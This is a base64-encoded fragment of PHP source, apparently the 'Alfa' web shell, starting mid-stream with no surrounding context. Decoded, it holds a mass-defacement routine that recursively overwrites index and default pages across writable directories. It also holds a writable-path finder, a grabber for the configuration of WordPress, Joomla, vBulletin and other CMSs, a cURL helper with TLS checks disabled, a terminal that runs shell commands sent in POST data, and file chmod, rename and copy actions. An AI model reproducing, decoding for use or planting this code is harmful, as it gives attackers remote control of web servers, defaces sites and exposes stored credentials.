CBjb2xvcj0icmVkIj5EaXJlY3RvcnkgaXMgbm90IFJlYWRhYmxlLi4uPC9mb250PicpO30KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+TWFzcyBEaXIgaXMgSW52YWxpZCBEaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBBbGZhX1JlYWREaXIoJGRpciwkbWV0aG9kPScnLCRkZWZwYWdlPScnKXsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwppZiAoQGlzX2RpcigkZGlyKSkgewppZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsKd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4nLycuJGZpbGU7CmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKaWYoQGlzX2ZpbGUoJG5ld2ZpbGUpKXsKaWYoIUBpc19yZWFkYWJsZSgkbmV3ZmlsZSkpY29udGludWU7CkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7Cn0KfQpjbG9zZWRpcigkZGgpOwp9Cn0KfQpmdW5jdGlvbiBBbGZhX1Jld3JpdGVyKCRkaXIsJGZpbGUsJGRlZnBhZ2UsJG09J2luZGV4Jyl7CmlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwokZGVmcGFnZT1AZmlsZV9nZXRfY29udGVudHMoJGRlZnBhZ2UpOwppZigkbSA9PSAnaW5kZXgnKXsKJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsKaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksJGluZGV4cykpewpAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7CmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9ZWxzZWlmKCRtPT0nYWxsJyl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiIgIDxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I+PC9mb250Pjxicj4iIDogJyc7Cn0KfQpmdW5jdGlvbiBhbGZhR2V0RGlzRnVuYygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJGYgPSBhcnJheV91bmlxdWUoJHMpOwplY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOwokaT0xOwpmb3JlYWNoKCRmIGFzICRzKXsKJHM9dHJpbSgkcyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkcyl8fCFpc19jYWxsYWJsZSgkcykpY29udGludWU7CmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOwplY2hvICc8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uJy5zdHJfcmVwbGFjZSgnXycsJy0nLCRzKS4nLnBocCI+PHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj48Yj4nLiRzLic8L2I+PC9zcGFuPjwvYT48L3RkPic7CiRpKys7Cn0KZWNobyAnPC90YWJsZT48L2NlbnRlcj4nOwplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9DcmVhdGVfQV9UYWcoJGFjdGlvbiwkdmFscyl7CiRudWxscyA9IGFycmF5KCk7CmZvcmVhY2goJHZhbHMgYXMgJGtleSA9PiAkdmFsKXsKZWNobyAnPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJycuJGFjdGlvbi4nXCcsJzsKZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOwokZiA9IGltcGxvZGUoJywnLCRudWxscyk7CmVjaG8gJGYuJyxcJycuJHZhbFswXS4nXCcpO3JldHVybiBmYWxzZTsiPnwgJy4ka2V5LicgfCA8L2E+JzsKdW5zZXQoJG51bGxzKTsKfQp9CmZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZigkbWV0aG9kID09ICdhbGwnKSRleHQgPSAnKic7CmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7CiRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsKJGdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOwokYmxhY2tsaXN0ID0gYXJyYXkoKTsKZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKXx8QGlzX2xpbmsoJGRpcikpIGNvbnRpbnVlOwpAQWxmYV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsKfQpzd2l0Y2goJG1ldGhvZCl7CmNhc2UgImZpbGVzIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmlmKEBpc193cml0YWJsZSgkZmlsZSkpewplY2hvICIkZmlsZTxicj4iOwp9Cn0KYnJlYWs7CmNhc2UgImRpcnMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsKZWNobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7CiRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOwp9Cn0KYnJlYWs7CmNhc2UgImFsbCI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewplY2hvICRmaWxlLic8YnI+JzsKfQpicmVhazsKfQp1bnNldCgkYmxhY2tsaXN0KTsKfQp9CmZ1bmN0aW9uIEFsZmFpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsKcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4iLyIuJGYuJyIgd2lkdGg9IicuJHdpZHRoLiciIGhlaWdodD0iJy4kaGVpZ2h0LiciIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsKfQpjbGFzcyBBbGZhQ1VSTCB7CnB1YmxpYyAkaGVhZGVyczsKcHVibGljICR1c2VyX2FnZW50OwpwdWJsaWMgJGNvbXByZXNzaW9uOwpwdWJsaWMgJGNvb2tpZV9maWxlOwpwdWJsaWMgJHByb3h5OwpwdWJsaWMgJHBhdGg7CnB1YmxpYyAkc3NsID0gdHJ1ZTsKcHVibGljICRjdXJsX3N0YXR1cyA9IHRydWU7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLCRjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsKaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30KJHRoaXMtPmhlYWRlcnNbXSA9ICdBY2NlcHQ6IGltYWdlL2dpZiwgaW1hZ2UveC1iaXRtYXAsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsKJHRoaXMtPnVzZXJfYWdlbnQgPSAnTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgzLjAuNDEwMy42MSBTYWZhcmkvNTM3LjM2KSc7CiR0aGlzLT5wYXRoID0gQUxGQV9URU1QRElSLicvQWxmYV9jb29raWVzLnR4dCc7CiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247CiR0aGlzLT5wcm94eT0kcHJveHk7CiR0aGlzLT5jb29raWVzPSRjb29raWVzOwppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsKfQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7CmlmIChfYWxmYV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7Cn1lbHNlewpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOwokdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOwpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7Cn0KfQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7CmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9CiRwcm9jZXNzID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCAkdGhpcy0+aGVhZGVycyk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJfYWdlbnQpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVElNRU9VVCwgMzApOwppZigkdGhpcy0+c3NsKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsZmFsc2UpOwp9CmlmKCR0aGlzLT5jb29raWVzKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPnBhdGgpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsKfQppZigkdGhpcy0+cHJveHkpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsKfQppZigkbWV0aG9kPT0ncG9zdCcpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKSk7Cn0KJHJldHVybiA9IEBjdXJsX2V4ZWMoJHByb2Nlc3MpOwpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsKcmV0dXJuICRyZXR1cm47Cn0KZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7CmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7CmRpZTsKfQp9CmZ1bmN0aW9uIGdldENvbmZpZ0h0bWwoJGNtcyl7CiRjb250ZW50ID0gJyc7CiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUHJlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwYWwiLCJzbWYiPT4iU01GIik7CiRjb250ZW50IC49ICI8Zm9ybSBjbGFzcz0nZ2V0Y29uZmlnJyBvblN1Ym1pdD0nZyhcIkdldENvbmZpZ1wiLG51bGwsdGhpcy5jbXMudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZ2V0QXR0cmlidXRlKFwiYmFzZV9pZFwiKSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+Q21zOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjbXMnc3R5bGU9J3dpZHRoOjEwMHB4Oyc+IjsKZm9yZWFjaCgkY21zX2FycmF5IGFzICRrZXkgPT4gJHZhbCl7CiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOwp9CiRjb250ZW50IC49ICI8L3NlbGVjdD4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aChpbnN0YWxsZWQgY21zL0NvbmZpZyk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9JyIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLycgc2l6ZT0nMzAnIC8+IDxidXR0b24gY2xhc3M9J2J1dHRvbic+R2V0Q29uZmlnPC9idXR0b24+IjsKJGNvbnRlbnQgLj0gIjwvZm9ybT4iOwpyZXR1cm4gJGNvbnRlbnQ7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpewogICAgZnVuY3Rpb24ganNvbl9lbmNvZGUoJGE9ZmFsc2UpewogICAgICAgIGlmIChpc19udWxsKCRhKSkgcmV0dXJuICdudWxsJzsKICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKICAgICAgICBpZiAoJGEgPT09IHRydWUpIHJldHVybiAndHJ1ZSc7CiAgICAgICAgaWYgKGlzX3NjYWxhcigkYSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoaXNfZmxvYXQoJGEpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0YXRpYyAkanNvblJlcGxhY2VzID0gYXJyYXkoYXJyYXkoIlxcIiwgIi8iLCAiXG4iLCAiXHQiLCAiXHIiLCAiXGIiLCAiXGYiLCAnIicpLCBhcnJheSgnXFxcXCcsICdcXC8nLCAnXFxuJywgJ1xcdCcsICdcXHInLCAnXFxiJywgJ1xcZicsICdcIicpKTsKICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgfQogICAgICAgICRpc0xpc3QgPSB0cnVlOwogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChrZXkoJGEpICE9PSAkaSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGlzTGlzdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRpc0xpc3QpCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwogICAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CiAgICAgICAgICAgIHJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7CiAgICAgICAgfQogICAgfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewogICAgJGNvbW1lbnQgPSBmYWxzZTsKICAgICRvdXQgPSAnJHg9JzsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKICAgIHsKICAgICAgICBpZiAoISRjb21tZW50KQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAneycgfHwgJGpzb25bJGldID09ICdbJyl7JG91dCAuPSAnIGFycmF5KCc7fQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpXSA9PSAnXScpeyRvdXQgLj0gJyknO30KICAgICAgICAgICAgZWxzZSBpZiAoJGpzb25bJGldID09ICc6Jyl7JG91dCAuPSAnPT4nO30KICAgICAgICAgICAgZWxzZSB7JG91dCAuPSAkanNvblskaV07fQogICAgICAgIH0KICAgICAgICBlbHNlICRvdXQgLj0gJGpzb25bJGldOwogICAgICAgIGlmICgkanNvblskaV0gPT0gJyInKSAgICAkY29tbWVudCA9ICEkY29tbWVudDsKICAgIH0KICAgIGV2YWwoJG91dCAuICc7Jyk7CiAgICByZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBhbGZhdGVybWluYWxFeGVjKCl7CgkkcHdkID0gInB3ZCI7Cgkkc2VwZXJhdG9yID0gIjsiOwoJaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewoJCSRwd2QgPSAiY2QiOwoJCSRzZXBlcmF0b3IgPSAiJiI7Cgl9CglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KCSRjdXJyZW50X3BhdGggPSAnJzsKCWlmKHByZWdfbWF0Y2goIi9jZFsgXXswLH0oLiopWyBdezAsfSIuJHNlcGVyYXRvci4ifGNkWyBdezAsfSguKilbIF17MCx9L2kiLCAkX1BPU1RbJ2FsZmExJ10sICRtYXRjaCkpewoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpewoJCQkkbWF0Y2hbMV0gPSAkbWF0Y2hbMl07CgkJfQoJCSRjdXJyZW50X3BhdGggPSBhbGZhRXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7CgkJJGN1cnJlbnRfcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN1cnJlbnRfcGF0aCk7Cgl9Cgkkb3V0ID0gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKCSRvdXQgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXQpOwoJZWNobyBqc29uX2VuY29kZShhcnJheSgib3V0cHV0IiA9PiBjb252ZXJ0QmFzaCgkb3V0KSwgInBhdGgiID0+ICRjdXJyZW50X3BhdGgpKTsKfQpmdW5jdGlvbiBjb252ZXJ0QmFzaCgkY29kZSkgewogICAgJGRpY3Rpb25hcnkgPSBhcnJheSgKICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywKICAgICAgICAnWzAxOzMxbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPicsCiAgICAgICAgJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLAogICAgICAgICdbMDE7MzRtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmJsdWUiPicsCiAgICAgICAgJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsCiAgICAgICAgJ1swMTszN20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6d2hpdGUiPicsCiAgICAgICAgJ1swbScgICA9PiAnPC9zcGFuPicKICAgICk7CiAgICAkaHRtbFN0cmluZyA9IHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJGRpY3Rpb25hcnkpLCAkZGljdGlvbmFyeSwgJGNvZGUpOwogICAgcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGFsZmFkb0FjdGlvbnMoKXsKCSRjaGRpcl9mYWxzID0gZmFsc2U7CglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkJJGNoZGlyX2ZhbHMgPSB0cnVlOwoJCSRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cgl9CglpZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pKSRfUE9TVFsnYWxmYTEnXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2FsZmExJ10pOwoJaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMiddKTsKCSRhY3Rpb24gPSAkX1BPU1RbImFsZmEzIl07CglpZigkYWN0aW9uID09ICJwZXJtaXNzaW9uIil7CgkJJHBlcm1zID0gMDsKCQkkcGVybSA9ICRfUE9TVFsiYWxmYTIiXTsKCQlmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewoJCQkkcGVybXMgKz0gKGludCkkcGVybVskaV0qcG93KDgsIChzdHJsZW4oJHBlcm0pLSRpLTEpKTsKCQl9CgkJaWYoQGNobW9kKCRfUE9TVFsnYWxmYTEnXSwgJHBlcm1zKSl7CgkJCWVjaG8oImRvbmUiKTsKCQl9ZWxzZXsKCQkJZWNobygibm8iKTsKCQl9CgkJcmV0dXJuOwoJfQoJaWYoJGFjdGlvbiA9PSAicmVuYW1lIiB8fCAkYWN0aW9uID09ICJtb3ZlIil7CgkJJGFsZmExX2RlY29kZWQgPSAkX1BPU1RbJ2FsZmExJ107CgkJaWYoJGNoZGlyX2ZhbHMpewoJCQkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJCX0KCQkkX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKCQlpZigkX1BPU1RbImFsZmEzIl0gPT0gInJlbmFtZSIpewoJCQkkX1BPU1RbJ2FsZmEyJ10gPSBiYXNlbmFtZSgkX1BPU1RbJ2FsZmEyJ10pOwoJCX0KCQlpZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSl7CgkJCSRjbWRfcmVuYW1lID0gZmFsc2U7CgkJCWlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJCQkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCQkJJGNtZF9yZW5hbWUgPSB0cnVlOwoJCQkJCSRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRhbGZhMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiInIik7CgkJCQl9CgkJCX0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTInXSkpewoJCQkJaWYoQHJlbmFtZSgkX1BPU1RbJ2FsZmExJ10sICRfUE9TVFsnYWxmYTInXSl8fCRjbWRfcmVuYW1lKXsKCQkJCQllY2hvICJkb25lIjsKCQkJCX1lbHNlewoJCQkJCWVjaG8gIm5vIjsKCQkJCX0KCQkJfWVsc2V7CgkJCQllY2hvICJubyI7CgkJCX0KCQl9Cgl9ZWxzZWlmKCRhY3Rpb24gPT0gImNvcHkiKXsKCQlpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCSRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiYWxmYTEiXSk7CgkJCSRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CgkJCWlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMl07CgkJCX1lbHNlewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMV07CgkJCX0KCQl9ZWxzZXsKCQkJJG5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCX0KCQkkZGlyID0gZGlybmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCWlmKCRkaXIgPT0gIi4iKXsKCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsKCQl9CgkJaWYoaXNfZmlsZSgkX1BPU1RbImFsZmExIl0pKXsKCQkJQGNvcHkoJF9QT1NUWyJhbGZhMSJdLCAkX1BPU1RbImFsZmEyIl0pOwoJCQllY2hvKCJkb25lIik7CgkJfWVsc2VpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCWlmKCFpc19kaXIoJF9QT1NUWyJhbGZhMiJdKSl7CgkJCQlta2RpcigkX1BPU1RbImFsZmEyIl0sIDA3NTUsIHRydWUpOwoJCQl9CgkJCWNvcHlfcGFzdGUoJGRpciw